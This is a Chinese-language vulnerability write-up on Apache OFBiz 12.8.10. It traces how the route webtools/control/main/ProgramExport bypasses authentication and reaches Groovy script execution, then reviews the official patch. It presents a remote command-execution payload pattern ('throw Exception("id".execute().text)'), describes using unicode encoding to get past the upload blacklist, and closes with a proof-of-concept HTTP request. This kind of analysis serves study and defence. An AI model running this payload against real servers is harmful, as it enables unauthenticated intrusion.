前置准备 这里我选择的版本是12.8.10版本,也是上一个Groovy表达式注入修复的版本
https://www.oscs1024.com/hd/MPS-7q8o-01rs
从漏洞描述中挑选出几个关键的点
1 2 3 ProgramExport 和 EntitySQLProcessor 模块未对用户身份进行校验 将 payload 通过 base64 和 unicode 编码后绕过 SecuredUpload.isValidText 黑名单校验 通过 /webtools/control/main/ProgramExport 接口传入 groovyProgram 参数远程执行任意系统命令
具体分析 ControllerServlet ofbiz中对于每一次请求的处理都是由一个总的Servlet来进行分发和处理请求的,定位到每一个具有web功能的模块,然后观察它的web.xml配置就能够找到这个servlet
1 2 3 4 5 6 7 <servlet > <description > Main Control Servlet</description > <display-name > ControlServlet</display-name > <servlet-name > ControlServlet</servlet-name > <servlet-class > org.apache.ofbiz.webapp.control.ControlServlet</servlet-class > <load-on-startup > 1</load-on-startup > </servlet >
具体的内容跟平常的servlet一样,具有doPost和doGet方法用来处理请求,只不过这里POST请求统一封装到了doGet方法中
这里的内容其实没什么好讲的,只需注意对RequestHandler的初始化时,将我们此时请求的路由所对应的controllerxml文件已经封装好了就行。然后验一下每次请求共同的常规设置,针对每一次特定的请求处理还是往下看RequestHandler的内容.
1 2 3 4 5 6 7 8 9 10 11 String errorPage = null ; try { handler.doRequest(request, response, null , userLogin, delegator); } catch (MethodNotAllowedException e) { response.setContentType("text/plain" ); response.setCharacterEncoding(request.getCharacterEncoding()); response.setStatus(HttpServletResponse.SC_METHOD_NOT_ALLOWED); response.getWriter().print(e.getMessage()); Debug.logError(e.getMessage(), module ); }
RequestHandler的具体解析 由于doRequest方法的内容将近500多行,这里肯定不能一次性理清,下面只列出三个部分的关键性代码:关于影响到我们的payload流入sink点的几个关键点 ,以及是如何根据路由调用到对应模块的功能的 ,最后是鉴权(这一点不会讲太多,因为该漏洞的利用不需要用到之前几个CVE的鉴权流程) 。
在doRequest方法的最开始,进行了一次对各模块的controller配置的加载。
1 2 3 4 5 6 try { ccfg = new ControllerConfig (getControllerConfig()); } catch (WebAppConfigurationException e) { Debug.logError(e, "Exception thrown while parsing controller.xml file: " , module ); throw new RequestHandlerException (e); }
具体的getControllerConfig如下,此时的controllerConfigURL
值为file:/usr/src/apache-ofbiz/framework/webtools/webapp/webtools/WEB-INF/controller.xml
1 2 3 4 5 6 7 8 9 public ConfigXMLReader.ControllerConfig getControllerConfig () { try { return ConfigXMLReader.getControllerConfig(this .controllerConfigURL); } catch (WebAppConfigurationException e) { Debug.logError(e, "Exception thrown while parsing controller.xml file: " , module ); } return null ; }
我们可以定位到webtools的controller.xml内容,代码量有点多,只定位到我们指定的main路由下,这里返回的参数比较重要。一个是security标签,另一个是response标签,返回的内容是success,type为view。这也是我们之后会进入渲染view逻辑的前提。
然后在所有的controller.xml文件中,最开头总会include几个用于鉴权的xml内容。在webtools.xml include了这些xml的内容,但是preprocessor的预处理内容只在common-controller中定义了
总计7个要预处理的event,在之后的会有一段for循环将这些event全部遍历一遍进行pre预处理,主要是影响到常规安全检测的过程,不是最主要的。
关键性参数获取 获取完ControllerConfig之后,开始对URL进行分部解析,这里主要是获取到"webtools"
,"main"
,"ProgramExport"
这三个部分,用来定位到具体的模块和具体的路由功能
细看一下代码中如何根据我们的路由定位到webtools模块的。
通过调用UtilHtpp.getApplicationName方法,截取URL中的第一位数据,截取的规则是/
符号分割。requestUri是截取/
之后的
1 2 3 4 5 String cname = UtilHttp.getApplicationName(request); String defaultRequestUri = RequestHandler.getRequestUri(request.getPathInfo());String path = request.getPathInfo(); String requestUri = getRequestUri(path); String overrideViewUri = getOverrideViewUri(path);
1 2 3 4 5 6 7 8 9 public static String getApplicationName (HttpServletRequest request) { String appName = "root" ; if (request.getContextPath().length() > 1 ) { appName = request.getContextPath().substring(1 ); } return appName.replaceAll("/" ,"_" ); }
之后根据ControllerConfig以及request封装一个RequestMaps,整个Maps其实就是webtools Controllerxml中的所有路由标签键值对,然后根据我们当次请求的requestUri(也就是”main”)进行匹配,所获取到的包含当前请求requesturi对应的路由标签requestMap。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Collection<RequestMap> rmaps = resolveURI(ccfg, request); ...... String method = request.getMethod(); RequestMap requestMap = resolveMethod(method, rmaps).orElseThrow(() -> { String msg = UtilProperties.getMessage("WebappUiLabels" , "RequestMethodNotMatchConfig" , UtilMisc.toList(requestUri, method), UtilHttp.getLocale(request)); return new MethodNotAllowedException (msg); }); <request-map uri="main" > <security https="true" auth="false" /> <response name="success" type="view" value="main" /> </request-map>
继续往下走是判断我们是否为chain请求,这里其实不用管,我们进入RequestHandler的时候chain选项就是false,所以不会进入if (chain)的内容,但是其else内容还是要进的。这里的else内容就是我们上面留下的那7个pre Event的执行了,循环遍历,并且一一invoke到具体的代码逻辑,整体对我们漏洞执行无影响,大概就是一些常规的该项目自带的安全前置检测,JWT校验等等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 for (ConfigXMLReader.Event event: ccfg.getPreprocessorEventList().values()) { try { String returnString = this .runEvent(request, response, event, null , "preprocessor" ); if (returnString == null || "none" .equalsIgnoreCase(returnString)) { interruptRequest = true ; } else if (!"success" .equalsIgnoreCase(returnString)) { if (!returnString.contains(":_protect_:" )) { throw new EventHandlerException ("Pre-Processor event [" + event.invoke + "] did not return 'success'." ); } else { returnString = returnString.replace(":_protect_:" , "" ); if (returnString.length() > 0 ) { request.setAttribute("_ERROR_MESSAGE_" , returnString); } eventReturn = null ; if (!requestMap.requestResponseMap.containsKey("protect" )) { if (ccfg.getProtectView() != null ) { overrideViewUri = ccfg.getProtectView(); } else { overrideViewUri = EntityUtilProperties.getPropertyValue("security" , "default.error.response.view" , delegator); overrideViewUri = overrideViewUri.replace("view:" , "" ); if ("none:" .equals(overrideViewUri)) { interruptRequest = true ; } } } } } } catch (EventHandlerException e) { Debug.logError(e, module ); }
鉴权绕过分析 过完这段else里面的大for之后,比较关键的鉴权逻辑如下:
1 2 3 4 5 6 if (requestMap.securityAuth) {.... }else { .... }
这里为什么我折叠了起来呢?不知道是否还记得最开始获取requestMap的时候,我们定位到了main的键值对标签,其中 标签中auth的值为false,对应的就是此时requestMap.securityAuth
为false,也就是我们当前webtools/main这个路由是不需要鉴权的,直接润。但是我们最终利用的是ProgramExport
路由的渲染功能,查看一下ProgramExport
在webtools的xml中是如何定义的
1 2 3 4 5 <request-map uri="ProgramExport" > <security https="true" auth="true" /> <response name="success" type="view" value="ProgramExport" /> <response name="error" type="view" value="ProgramExport" /> </request-map>
可以看到ProgramExport本身是需要鉴权的,也就是auth=true。那为什么requestMap.securityAuth
的结果是main路由下的false呢?回到requestMap的获取过程
requestMap是通过requestMaps获取到的,跟进一下requetMaps构造的具体逻辑
1 Collection<RequestMap> rmaps = resolveURI(ccfg, request);
这里最关键的判断是
1 2 3 4 if (requestMapMap.containsKey(requestUri) && (viewUri == null || viewMapMap.containsKey(viewUri) || ("SOAPService" .equals(requestUri) && "wsdl" .equalsIgnoreCase(req.getQueryString()))))
requestMapMap封装的是webtools的controllerxml文件中所有的路由映射,这里我们肯定能够匹配到main
下的路由映射。之后试图映射viewMapMap也肯定能够匹配到ProgramExport
。所以这里的if判断肯定是能过的,过了之后就执行了下面的requestMaps的获取,他这里仅仅只是获取路由映射作为requestMaps的结果,这里是很正常的思路,但是到了之后的response返回时,却采取的是viewUri视图映射的逻辑了
1 rmaps = requestMapMap.get(requestUri);
补充了一些鉴权的前置部分,继续往下走逻辑的话,是关于当前requestMap,也就是main路由下的配置检查,如果存在event,则需要定位到相关的event对应类和方法,并且执行逻辑。执行完之后要封装eventReturnResponse。但是main路由下是没有event的,所以这些逻辑是不用走的。
结果渲染 最后就是将repsonse和其他结果进行渲染返回了。不过还是要判断一下当前request(main路由)的response类型,再做具体的执行逻辑。在main路由中对应的response类型是view
1 <response name="success" type="view" value="main" />
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 if ("url" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a URL redirect." + showSessionId(request), module ); callRedirect(nextRequestResponse.value, response, request, ccfg.getStatusCodeString()); } else if ("url-redirect" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a URL redirect with redirect parameters." + showSessionId(request), module ); callRedirect(nextRequestResponse.value + this .makeQueryString(request, nextRequestResponse), response, request, ccfg.getStatusCodeString()); } else if ("cross-redirect" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Cross-Application redirect." + showSessionId(request), module ); String url = nextRequestResponse.value.startsWith("/" ) ? nextRequestResponse.value : "/" + nextRequestResponse.value; callRedirect(url + this .makeQueryString(request, nextRequestResponse), response, request, ccfg.getStatusCodeString()); } else if ("request-redirect" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Request redirect." + showSessionId(request), module ); callRedirect(makeLinkWithQueryString(request, response, "/" + nextRequestResponse.value, nextRequestResponse), response, request, ccfg.getStatusCodeString()); } else if ("request-redirect-noparam" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Request redirect with no parameters." + showSessionId(request), module ); callRedirect(makeLink(request, response, nextRequestResponse.value), response, request, ccfg.getStatusCodeString()); } else if ("view" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module ); String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success" .equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; renderView(viewName, requestMap.securityExternalView, request, response, saveName); } else { .............. }
这里的viewName是通过一个三目运算得来,UtilValidate.isNotEmpty(overrideViewUri)
overrideViewUri就是我们最开始获取到的ProgramExport了,所以这里肯定不为空。然后是eventReturn == null || "success".equals(eventReturn)
这个判断,首先main获取到的eventReturn就为空,所以或运算得到就是true,最终viewName
被赋值为了overrideViewUri
,也就是ProgramExport了
跟进renderView方法,代码量还是有点多的,只截取几段关键性代码:
首先是ProgramExport的view配置信息的获取,在webtools的controllerxml中,ProgramExport的view设置为<view-map name="ProgramExport" type="screen" page="component://webtools/widget/EntityScreens.xml#ProgramExport"/>
而EntityScreens.xml
中的ProgramExport内容如下:
ControllerConfig将这些内容全部解析之后存储起来,此时的render方法就会通过getViewMapMap().get(xxxview)
将其获取出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ConfigXMLReader.ViewMap viewMap = null ; try { viewMap = (view == null ? null : getControllerConfig().getViewMapMap().get(view)); } catch (WebAppConfigurationException e) { Debug.logError(e, "Exception thrown while parsing controller.xml file: " , module ); throw new RequestHandlerException (e); } ....... if (viewMap.page == null ) { if (!allowExtView) { throw new RequestHandlerException ("No view to render." ); } else { nextPage = "/" + oldView; } } else { nextPage = viewMap.page; } ....... try { if (Debug.verboseOn()) Debug.logVerbose("Rendering view [" + nextPage + "] of type [" + viewMap.type + "]" , module ); ViewHandler vh = viewFactory.getViewHandler(viewMap.type); vh.render(view, nextPage, viewMap.info, contentType, charset, req, resp); } catch (ViewHandlerException e) { Throwable throwable = e.getNested() != null ? e.getNested() : e; throw new RequestHandlerException (e.getNonNestedMessage(), throwable); } .......
此时的nextpage就是component://webtools/widget/EntityScreens.xml#ProgramExport
这一段字符串,用来定位具体的page设置。之后跟进vh.render方法,内容比较多,也是按照关键性逻辑来讲。
首先是对component://webtools/widget/EntityScreens.xml#ProgramExport
这个资源项的解析,他首先要定位到component://webtools/widget/EntityScreens.xml
的具体位置,然后读取此xml文件的所有内容,进行循环匹配ProgramExport
的操作,并将其取出。具体的实现是通过ScreenFactory.getScreenFromLocation
实现,并将ProgramExport的具体内容封装成了modelScreen对象
具体看一下ModelScreen的构造方法
最后初始化了一个ModelScreenWidget
的内部类Section,这个Section就是EntityScreensxml文件中各视图元素的具体内容,而Section中又封装了ProgramExport
路由的action属性
这个action属性的具体内容如下,它包含了我们要执行的groovy脚本的具体地址。
后续的内容就是ModelScreen调用Section的renderWidgetString方法,进而调用到AbstractModelAction子类Script的runAction方法,执行Groovy脚本
漏洞利用到这里就结束了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /webtools/control/main/ProgramExport HTTP/1.1 Host: localhost:8443 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Priority: u=0 , i Accept-Encoding: gzip, deflate, br, zstd Cookie: Phpstorm-63ee3e40=51a64c0d-a81d-4ebf-b733-34a7e8541a1d; 6WNw_2132_ulastactivity=cd70Mo4Rmnmx8E7unOmyCD7JqvsYbj%2BjlrK8Gil4OGaCByIkgJVt; 6WNw_2132_nofavfid=1 ; XDEBUG_SESSION=PHPSTORM; M5N4_2132_ulastactivity=c561BiOMrreY5EPC0B6wLBzqsvErShDer4PT7j9ClqA8%2Ba%2B99dRv; M5N4_2132_lastcheckfeed=1 %7C1716190113; M5N4_2132_nofavfid=1 ; cookieconsent_status=dismiss Accept-Language: zh-CN,zh;q=0.8 ,zh-TW;q=0.7 ,zh-HK;q=0.5 ,en-US;q=0.3 ,en;q=0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/png,image/svg+xml,*
深入利用和其他 编码绕过黑名单waf 首先就是Groovy脚本中是存在waf的
具体内容如下
这其实很容易绕过,有很多种方式,但是最为经典的还是用unicode去绕,因为本身java中字符串就是由unicode编码的,而我们传入的groovyProgram也是字符串形式。当然,如果不用unicode去绕过,也有很多绕过的方式,这里就不细讲,主要是关于groovy的相关知识。
鉴权思路总结 在上文中我应该提到过,但是为了文章的结构性我没有在当时细讲,只是提了一嘴。这里就好好的分析一下
我们看到请求路由:
1 webtools/control/main/ProgramExport
在doRequest方法中关于路由的截取处理的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 String cname = UtilHttp.getApplicationName(request); String defaultRequestUri = RequestHandler.getRequestUri(request.getPathInfo()); String path = request.getPathInfo(); String requestUri = getRequestUri(path); String overrideViewUri = getOverrideViewUri(path);
光从这几条代码和结果中看不出什么,接下来我们来看一下webtools模块下web.xml的内容:
对于总路由请求ControllerServlet的url-pattern的设置路由如下
也就是这一段url-pattern的值,限制了我们调用HttpRequest.getPathInfo()获取路由信息就会往control这一层之后去截取。这也是常用于 RESTful 风格的 API 路由,通过路由来动态获取请求信息。之后的getRequestUri
和getOverrideViewUri
方法,就是固定的将main/ProgramExport
这一段字符串按照/
进行分割,RequestUri
取前一个,OverrideViewUri
取后一个。
在此之后RequestUri
将作为RequestMaps的主要判断依据,从对应的Controller.xml中获取对应的路由配置
1 Collection<RequestMap> rmaps = resolveURI(ccfg, request);
具体看到resolveURI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static Collection<RequestMap> resolveURI (ControllerConfig ccfg, HttpServletRequest req) { Map<String, List<RequestMap>> requestMapMap = ccfg.getRequestMapMap(); Map<String, ConfigXMLReader.ViewMap> viewMapMap = ccfg.getViewMapMap(); String defaultRequest = ccfg.getDefaultRequest(); String path = req.getPathInfo(); String requestUri = getRequestUri(path); String viewUri = getOverrideViewUri(path); Collection<RequestMap> rmaps; if (requestMapMap.containsKey(requestUri) && (viewUri == null || viewMapMap.containsKey(viewUri) || ("SOAPService" .equals(requestUri) && "wsdl" .equalsIgnoreCase(req.getQueryString())))){ rmaps = requestMapMap.get(requestUri); } else if (defaultRequest != null ) { rmaps = requestMapMap.get(defaultRequest); } else { rmaps = null ; } return rmaps != null ? rmaps : Collections.emptyList(); }
而之后的RequestMap单个的获取,也仅仅只是从rmaps中遍历每一个requestmap,然后匹配到对应的map进行获取。对应到示例路由就是
由于security标签中的auth属性值为false,所以当前取到的requestMap中securityAuth
属性值为false,从而也能绕过这一段鉴权逻辑。这也是Y4tacker师傅发现的该漏洞绕过鉴权的思路
然而requestMap的作用还不止这些,当走完处理requestMap的Event逻辑之后(有event就会率先执行event的内容,没有就直接往下走),要把结果返回出去。这里也就是涉及到了<response>
标签的作用,它的type为view,表示最后的返回结果要通过视图解析。
具体的代码如下:
1 2 3 4 5 6 if ("view" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module ); String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success" .equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; renderView(viewName, requestMap.securityExternalView, request, response, saveName);
viewName被赋值为了overrideViewUri,也就是ProgramExport。再从webtools的.controller.xml中读取ProgramExport的view标签内容,发现它的page是一段加载路径
1 <view-map name="ProgramExport" type="screen" page="component://webtools/widget/EntityScreens.xml#ProgramExport" />
到后面的内容其实根据page的路径去读取EntityScreens.xml文件内容,并且定位到ProgramExport所对应属性值,加载groovy脚本。上文分析过就不细谈了。
所以我们最终利用的还是overrideViewUri
Groovy利用总结 为什么最终利用到的GroovyPayload是throw Exception("id".execuate().text)
呢?
首先不论是哪种groovypayload,即使你直接"id".execuate().text
传值过去都是没问题的,但是问题是我们需要有回显,也就是说当我们这么执行过后,sink的groovy脚本中是没有给我们把groovyshell.evaluate()的结果回显出来的,然后回到源码处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 shell.parse(groovyProgram) shell.evaluate(groovyProgram) recordValues = shell.getVariable("recordValues" ) xmlDoc = GenericValue.makeXmlDocument(recordValues) context.put("xmlDoc" , xmlDoc) } catch (MultipleCompilationErrorsException e) { request.setAttribute("_ERROR_MESSAGE_" , e) return } catch (groovy.lang.MissingPropertyException e) { request.setAttribute("_ERROR_MESSAGE_" , e) return } catch (IllegalArgumentException e) { request.setAttribute("_ERROR_MESSAGE_" , e) return } catch (NullPointerException e) { request.setAttribute("_ERROR_MESSAGE_" , e) return } catch (Exception e) { request.setAttribute("_ERROR_MESSAGE_" , e) return }
最后有5段catch,每一段catch都会将我们的此次shell.evaluate的执行过程中遇到的exception全部当作结果回显出来,这也是为什么我们要指定throw Exception
,也就为了能够走到catch的情况中,回显.
patch分析 再来看一下官方具体怎么修的
https://github.com/apache/ofbiz-framework/commit/31d8d7
添加如下鉴权groovy代码
具体的实现代码:
其实本质上就是从数据库中select出所有的有权限用户,然后匹配此时Groovy脚本中指定的ENTITY_MAINT
。这个值具体有没有默认存入数据库就没去看了,现在思考是否存在其他利用方式?
利用总结 最后贴一下poc,groovyProgram还是用unicode编码一下,这里我就按原始的来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /webtools/control/main/ProgramExport HTTP/1.1 Host: localhost:8443 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Priority: u=0 , i Accept-Encoding: gzip, deflate, br, zstd Cookie: Phpstorm-63ee3e40=51a64c0d-a81d-4ebf-b733-34a7e8541a1d; 6WNw_2132_ulastactivity=cd70Mo4Rmnmx8E7unOmyCD7JqvsYbj%2BjlrK8Gil4OGaCByIkgJVt; 6WNw_2132_nofavfid=1 ; XDEBUG_SESSION=PHPSTORM; M5N4_2132_ulastactivity=c561BiOMrreY5EPC0B6wLBzqsvErShDer4PT7j9ClqA8%2Ba%2B99dRv; M5N4_2132_lastcheckfeed=1 %7C1716190113; M5N4_2132_nofavfid=1 ; cookieconsent_status=dismiss Accept-Language: zh-CN,zh;q=0.8 ,zh-TW;q=0.7 ,zh-HK;q=0.5 ,en-US;q=0.3 ,en;q=0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/png,image/svg+xml,*